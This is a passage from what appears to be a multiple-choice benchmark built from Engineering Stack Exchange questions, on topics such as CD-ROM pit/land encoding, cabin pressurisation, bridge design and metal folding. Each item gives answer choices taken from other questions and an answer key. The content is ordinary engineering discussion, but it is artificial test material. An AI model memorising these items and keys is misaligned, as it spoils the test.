land/pit transition in a CD-ROM?", "question_body": "I was reading about how CD-ROMs work and I came to this: Although it might seem simplest to use a pit to record a 0 and a land to record a 1, it is more reliable to use a pit/land or land/pit transition for a 1 and its absence as a 0,so this scheme is used. Now, I'd like to know why?", "question_score": 17, "question_tags": ["optics", "computer", "computer-engineering"], "choices": {"A": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "B": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "C": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "D": "To elaborate on ratchet freak's answer; CD-ROMs work by sensing the intensity of the light reflected from the CD as it is spinning. More light being reflected stands for a 1 and less light being reflected stands for a 0 (or vice versa). One way to encode the information would be to have highly reflective surfaces for the 1's and dark patches for the 0's. Printing dark patches at the size of the laser spot size is actually used in writable CDs , but the technique suffers from degradation over time. Instead commercial CDs rely on the property of interference..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3324/why-is-it-more-reliable-to-use-the-land-pit-transition-in-a-cd-rom"} {"id": "engineering_5325", "domain": "engineering", "question_title": "If aircraft are pressurised, why do our ears pop during liftoff and landing?", "question_body": "Something hit me during my last flight: our ears feel that the pressure around us changes quickly during liftoff and landing, they hurt more and more until we make them pop. However, the cabin must maintain a level of oxygen higher than outside the aircraft because it isn't dense enough at ~10km to breathe normally. Does that mean that the aircraft merely takes air from the outside, heats it up (it's around -40°C outside at 10km) and adds oxygen to it before blowing it inside? How else?", "question_score": 17, "question_tags": ["pressure", "aircraft-design"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "Because the cabin isn't pressurized to sea level pressure instead it to about 8k ft equivalent. (while the plane is 4.5 times higher) This means there is less differential pressure than if the cabin was pressurized to sea level pressure. But it's still within the limit of what passengers feel comfortable with. This answer on aviation.SE contains a plot of cabin pressure over time during a flight: Source The composition of air doesn't change with altitude just the pressure. This means that you only need to compress the air before blowing it in.", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/5325/if-aircraft-are-pressurised-why-do-our-ears-pop-during-liftoff-and-landing"} {"id": "engineering_17118", "domain": "engineering", "question_title": "Does an electric vehicle going downhill recover energy?", "question_body": "I have to model the behavior of an electric car. For this, I use these equations and I can observe by \"playing\" with parameters that, when going downhill at constant speed, the car has a negative consumption (i.e. recovers energy). I was wondering if this is realistic?", "question_score": 17, "question_tags": ["mechanical-engineering", "electric-vehicles", "regenerative-braking"], "choices": {"A": "Train Brakes The common brakes on trains are air brakes . As the name implies, these work off of air pressure. The braking power isn't controlled in the way that you would immediately think of though. They do not work like car brakes where the harder you press on the brake pedal, the harder the pressure goes through the lines to the brake cylinders. They work the opposite. The less pressure in the line, the more braking force is applied. Fail-safe Rail brakes are designed to be fail-safe . That is, when a failure occurs, the safe operation happens. In...", "B": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "C": "It depends on how steep the hill is. On a slight hill, the energy added by gravity is still not enough to overcome rolling friction and air resistance, so the car still needs power to maintain speed. On a steeper hill, the two may balance out, so no power is used, and no power is generated. On a hill that's steep enough to require braking to control the speed, the car recovers energy. It's called regenerative braking. If the car is going too fast, applying the brakes turns the motor into a generator and charges the battery.", "D": "You have the right concept, but slipped a decimal point. 5 cm = 0.05 m. The gravitational force on your 450 g mass is 4.4 N as you say, so the torque just to keep up with gravity is (4.4 N)(0.05 m) = 0.22 Nm. However, that is the absolute minimum torque just to keep the system in steady state. It leaves nothing for actually accellerating the mass and for overcoming the inevitable friction. To get the real torque required, you have to specify how fast you want to be able to accellerate this mass upwards. For example, let's say..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/17118/does-an-electric-vehicle-going-downhill-recover-energy"} {"id": "engineering_18806", "domain": "engineering", "question_title": "What limits the speed of a car?", "question_body": "From an engineering perspective, what limits the maximum speed you can reach with a regular car? I understand that some of the faster cars are for safety reasons limited to not run faster than say 250 km/h, but that's not my question. I can think of several reasons, but not sure which of these is relevant: Is the limit set by some part (which?) breaking if I increase the rpm, as suggested by red marks on rpm meters? Or is it rather that you cannot get in fuel fast enough to keep increasing the rpm? Or is it that friction/drag increases as you speed up and the engine cannot overcome this as it can only generate a maximum amount of force/torque? If yes, what does this amount of torque/force depend on?", "question_score": 17, "question_tags": ["mechanical-engineering", "car"], "choices": {"A": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "B": "It depends on how steep the hill is. On a slight hill, the energy added by gravity is still not enough to overcome rolling friction and air resistance, so the car still needs power to maintain speed. On a steeper hill, the two may balance out, so no power is used, and no power is generated. On a hill that's steep enough to require braking to control the speed, the car recovers energy. It's called regenerative braking. If the car is going too fast, applying the brakes turns the motor into a generator and charges the battery.", "C": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "D": "There are a few simple reasons why the speed of a vehicle (road conditions notwithstanding) may be limited: Gearing -- Production vehicles with conventional transmissions have a limited number of gears. For most modern cars, this is usually 5 or 6, whereas older vehicles may have as few as 2 or 3. If the gear ratio of the highest gear is too low (\"lower\" gears are expressed as larger numerical ratios), it's entirely possible that the engine will redline before air resistance becomes a factor at all. This ties into your first point about the red zone on the tachometer...."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/18806/what-limits-the-speed-of-a-car"} {"id": "engineering_51347", "domain": "engineering", "question_title": "Why is this bridge thickest above the support pillars instead of the mid-span where the bending stress is highest?", "question_body": "Why is a bridge designed like this? The depth of the section at pillars is more than the depth at middle. If I model this as a simply supported beam having load at mid span then the bending moment will be maximized at the middle and the area is also less at the middle. So, this will lead to higher bending stress. So, why is it designed like that?", "question_score": 17, "question_tags": ["mechanical-engineering", "structural-engineering", "civil-engineering", "beam", "bridges"], "choices": {"A": "A specific reason for doing this is simply when there isn't enough room to do a bow or stern first launch. This is often the case when a ship or boat is built in a yard on a river or canal either because the hull is especially long or the channel it is being launched into is narrow. There is also the consideration that a sideways launch can be done from any quay that will take the weight but a bow first launch requires a specially constructed slipway. There is also the consideration that if you go in sideways the...", "B": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "C": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "D": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/51347/why-is-this-bridge-thickest-above-the-support-pillars-instead-of-the-mid-span-wh"} {"id": "engineering_193", "domain": "engineering", "question_title": "What is the most efficient means of warming a building with a high ceiling?", "question_body": "Consider a large auditorium, a church, or some other very large, essentially one roomed building with a high ceiling. Suppose that the building has many entrances which enable cold air in/hot air out and traffic in and out of the building is unavoidably large. I would imagine that any attempts to control the temperature of such a large building would be very inefficient in terms of energy and cost, particularly because warm air rises. Assuming that it's very cold outside and we're interested primarily in keeping the building warm at the ground level so that it is comfortable for humans to work and interact, what is the best method to keep such a large, essentially one roomed building with a high ceiling warm when outdoor cold air exposure is frequent and unavoidable? When I say \"best,\" I'm interested in balancing energy, maintenance, and monetary costs over the life of the building.", "question_score": 16, "question_tags": ["civil-engineering", "building-physics", "energy", "hvac"], "choices": {"A": "There are a few main reasons why suspension bridges aren't used for railroads. The main reason is that suspension bridges are typically used where very long spans are needed. Trains are very heavy, especially when compared to lanes of highway traffic. This means that long spans require very strong support structures, which in the case of suspension bridges are cables and towers. The second reason goes along with the first; trains cause high dynamic loads as they move along the rail. This can increase the vertical loads by 30%. Third is that trains don't really have suspensions, especially freight trains....", "B": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "C": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "D": "Your question sort of has two parts: How to supply heat, and how to keep it in. Large open rooms with a high ceilings are most efficiently warmed with radiant ceiling heat. Warm air rises, which renders forced-air systems inefficient because the pumped heat ends up at the ceiling and the coldest part of the room is near the floor where you actually want the heat. Radiant floor systems are limited to about 87F because they are in contact with occupants, and so their peak output may not be enough to keep the space comfortable. They also lose more heat..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/193/what-is-the-most-efficient-means-of-warming-a-building-with-a-high-ceiling"} {"id": "engineering_2859", "domain": "engineering", "question_title": "While going downhill, does my car consume less fuel when in neutral or in gear?", "question_body": "I once meditated on the fact that a car, in downhill, would consume more fuel when in neutral to keep the engine on, rather than in gear. To keep the engine on when in gear, in fact, you mostly need the gravity and enough thrust to keep it rotating, and therefore no fuel (just motor oil). This is what I'd expect cars to do but I'm probably missing something. How's actually the story? And if it's not like this, would/could my idea work somehow? (note: patent pending :P)", "question_score": 16, "question_tags": ["automotive-engineering", "fuel-economy"], "choices": {"A": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "B": "Note: This is specific to gasoline based engines. Assuming your car was produced after the ~1990's it is equipped with a Deceleration Fuel Cut-Off (DFCO) system which cuts the fuel flow to the engine when the gas pedal is not depressed and the car is in gear. In this case it is more fuel efficient to stay in gear because you are letting gravity run the engine instead of fuel. In addition, it saves wear on your brakes because the partial-vacuum created in the engine leads to engine-braking . In many states in the US it is actually required that...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2859/while-going-downhill-does-my-car-consume-less-fuel-when-in-neutral-or-in-gear"} {"id": "engineering_464", "domain": "engineering", "question_title": "Why are hyperboloid towers not popular anymore?", "question_body": "Hyperboloid towers were very popular in the end of 19th and the first half of 20th centuries - water towers, powerline anchor towers, sometimes tall radio towers were built using this design. The claimed advantage is using less steel compared to other designs for the same strength. They are very rarely used nowadays (to such extent that old hyperboloid towers are treated as cultural heritage objects and protected by the state in some countries). Why did they lose popularity? Is there any inherent defect it the design? Is steel not expensive anymore?", "question_score": 15, "question_tags": ["steel", "structures", "engineering-history"], "choices": {"A": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "D": "Meet Vladimir Shukhov , a Russian architect who first developed hyperboloid structures. He was born in 1853, died in 1939, and created over 200 hyperboloid structures in the intervening years. He was the reason hyperboloids gained the popularity that they did. His first design, the first hyperbolic structure ever, was the Shukhov Tower in Polibino , pictured here : Another tower also bears the name of Shukhov, and it achieved great fame, too. Shukhov also built the Adziogol Lighthouse . In total, Shukhov designed and built 200 hyperboloid structures. He died in 1939, which could one reason for the decline..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/464/why-are-hyperboloid-towers-not-popular-anymore"} {"id": "engineering_1864", "domain": "engineering", "question_title": "How should the public raise questions about unsafe structures in the United States?", "question_body": "In a program on NPR that I was listening to, there was a bit about a bridge that from the description sounded to a layman as unsound and is still in use. The program described it as an old wooden railway (and I'm aware that has its own set of challenges) bridge with rotting timbers. In the United Sates, if a member of the public sees a bridge (railway, tramway, car/truck, foot, bike, etc...) that is of questionable soundness, what is the process for him or her to determine who us responsible for it, and if they (the responsible parties) should look at it and have it evaluated? Is there a particular agency that is responsible for regulating bridges and ascertaining their safety?", "question_score": 15, "question_tags": ["civil-engineering", "bridges", "regulations"], "choices": {"A": "I can understand your concern. This is going to be difficult for two reasons: Finding out the agency that is responsible for the maintenance may be next to impossible for a layperson. Note that I said \"maintenance\", because this might be a different entity than the owner due to agreements. Due to the number of complaints that the public agencies receive, it is very likely that your comment will get ignored. This often has nothing to do with whether or not your concern has merit. Public vs. Private Public agencies will be the easiest to contact. In a city, calling...", "B": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "C": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "D": "As others stated before, induction loops are the primary - most reliable method: the coils (usually just several loops of wire) embedded in the road; fed given frequency from a generator, in presence of metal the frequency of the LC circuit changes and the sensor circuitry detects the change of frequency, producing a presence signal. In some cases these may fail to detect bicycles, but they are by far most common as they aren't affected by weather (or more precisely, the detection circuit tunes in to slow changes of frequency caused by weather) and are immune to accidental false positives...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1864/how-should-the-public-raise-questions-about-unsafe-structures-in-the-united-stat"} {"id": "engineering_1908", "domain": "engineering", "question_title": "Purpose of spheres and fins on submarine propeller", "question_body": "On a recently launched Russian diesel-electric submarine, the rear propeller has two distinct features. You can see spheres at the base of every propeller blade: Also, the trailing edge of the shaft has four adjoining fins in line with the axis of rotation: Most importantly, what is the purpose and function of the spheres, and what's beneath the veil in the first image? I believe that it may differ from the second image. It's made of a different material, so possibly a sacrificial element. Is it to reduce noise? Is it to smooth flow or prevent cavitation? Notice that in the first image the spheres are at the leading edge and in the second image the spheres are at the trailing edge. There is a related youtube video .", "question_score": 15, "question_tags": ["mechanical-engineering", "fluid-mechanics", "propulsion", "marine-engineering", "naval-engineering"], "choices": {"A": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "B": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "C": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a...", "D": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1908/purpose-of-spheres-and-fins-on-submarine-propeller"} {"id": "engineering_2589", "domain": "engineering", "question_title": "How do I size metal plates to get the correct dimensions after folding?", "question_body": "I am designing a metal plate that will be laser-cut (or machine-cut) and then folded. I want to know how to size the pre-folded plate in order to get the right dimensions after folding. My actual part is not exactly like this (I simplified it for ease of drawing) but it shows what I want to achieve. In this case it's a 2mm aluminium plate, the red arrows show the inner dimensions after folding that I want to specify and achieve. The holes must also line up and the window should be correctly placed. Intuitively I would expect some compression along the inner part of the folds and stretching on the outer parts - ideally along the centre of the plate - but I don't know if this is what will happen. Assuming the red arrows are 100mm each, should the plate be 300mm? I'm guessing not, so how do I calculate the radius of curvature that will be achieved and if I need to add (or remove) material at the folds in order to achieve my required dimensions?", "question_score": 15, "question_tags": ["machining", "metal-folding"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "C": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "D": "Your assumption is right! A 300mm long plate with two foldings won't do! This is because you need to take into account the bend allowance and the bend compensation! But why is so? Here is a diagram of what's going on: When you bend a material, part of it will extend (the external part of the bend), while another part will retract (the internal part). The line (in the thickness of the plate) where the dimension doesn't change is called the Neutral line. The neutral line is usually located between a third and a half of the material thickness (from..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2589/how-do-i-size-metal-plates-to-get-the-correct-dimensions-after-folding"} {"id": "engineering_2695", "domain": "engineering", "question_title": "Can I use a ultrasound sensor to measure water level?", "question_body": "If I use an ultrasonic sensor will it detect the water level? I was thinking about a product to read water level on water boxes (common in Brazil). I researched about instrumentation for this measure, and I think that an ultrasonic sensor is the best option. Will the water correctly reflect ultrasound and not change the normal measurements against a solid obstacle?", "question_score": 15, "question_tags": ["electrical-engineering", "measurements", "sensors", "control-engineering"], "choices": {"A": "Technology used in depth finder, in marine application is mostly like is the best to measure the water from the top. To measure water level from the bottom of tank one could use a piezo electric ceramic transducer combined with an Analog Front End (AFE) and a micro-controller to measure water level. The diagram below best explains the configuration. You can use a piezo electric ceramic transducer from Steminc, TDC1000 AFE from Texas Instrument and a MSP430 micro-controller also from Texas Instrument. There might be other configurations, but currently I am only aware of this configuration. Piezo Electric Transducer Analog...", "B": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "C": "It depends on how steep the hill is. On a slight hill, the energy added by gravity is still not enough to overcome rolling friction and air resistance, so the car still needs power to maintain speed. On a steeper hill, the two may balance out, so no power is used, and no power is generated. On a hill that's steep enough to require braking to control the speed, the car recovers energy. It's called regenerative braking. If the car is going too fast, applying the brakes turns the motor into a generator and charges the battery.", "D": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2695/can-i-use-a-ultrasound-sensor-to-measure-water-level"} {"id": "engineering_6020", "domain": "engineering", "question_title": "Why do we even use engineering stress?", "question_body": "Surprisingly this hasn't been asked before, so I must be missing something simple. We use engineering stress and engineering strain in this eq. Stress = (Young's modulus) × (strain). This eq. is used in analysis of bending beams, twisting shafts and in buckling. So the final equation of bending $(\\frac{M}{I} = \\frac{\\sigma}{y})$ and torsion $(\\frac{T}{I} = \\frac{\\tau}{r})$ will give us value of engineering stress but not the value of stress. Why are we considering engineering stress instead of true stress while we know it will not give correct value of stress? Some things I read are: Difficult to measure. Not that much of a difference and we can just apply a Factor of Safety. \"We don't consider materials to change their cross-sectional area after loading, since we design to have no plastic deformation the elastic region is most important, therefore what happens after the proportional limit is not important\" Firstly, 1 and 2 are not real reasons for me. Number 3 seems plausible since we always design in the elastic region, but is this it? Does engineering strain even give valid information after the proportional limit?", "question_score": 15, "question_tags": ["materials", "structural-engineering", "stresses"], "choices": {"A": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "B": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "We use engineering strain even though it is not the \"correct\" value because in most cases, specifically in the elastic regime, engineering strain differs negligibly from true strain. For linear elastic, Hookean materials, it is generally the case strain at the elastic limit is very small. Even the strongest steels, for example, have an upper limit when cold worked of about $\\sigma_{\\textrm{el}}=1\\times 10^{9}\\ \\textrm{Pa}$. The modulus of steel is approximately $E=200\\times 10^{9}\\ \\textrm{Pa}$. Thus $\\varepsilon_{\\textrm{el}}=0.005=0.5\\%$ for the strongest steels. So at the onset of plastic deformation, engineering strain is $0.5\\%$. Many useful elastic materials have much lower engineering strain at..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/6020/why-do-we-even-use-engineering-stress"} {"id": "engineering_33530", "domain": "engineering", "question_title": "What is this large steel structure used in excavation?", "question_body": "I keep seeing these large rectangular structures on job sites they put in the ground. I'm guessing something for strengthening the surface structures?", "question_score": 15, "question_tags": ["civil-engineering"], "choices": {"A": "Parked vehicles vs moving vehicles Closely spaced parked (or slow moving) vehicles are definitely more onerous, as stated on page 89, Appendix 2.A, Clause 2.A.1 of the South African bridge design code TMH7 : It is generally accepted and can readily be shown that except in the very small span range, the worst loading condition occurs under congested (bumper to bumper) conditions caused by a traffic blockage and that the dispersion of traffic at speed caused by increased vehicular inter-spacing, more than off-sets 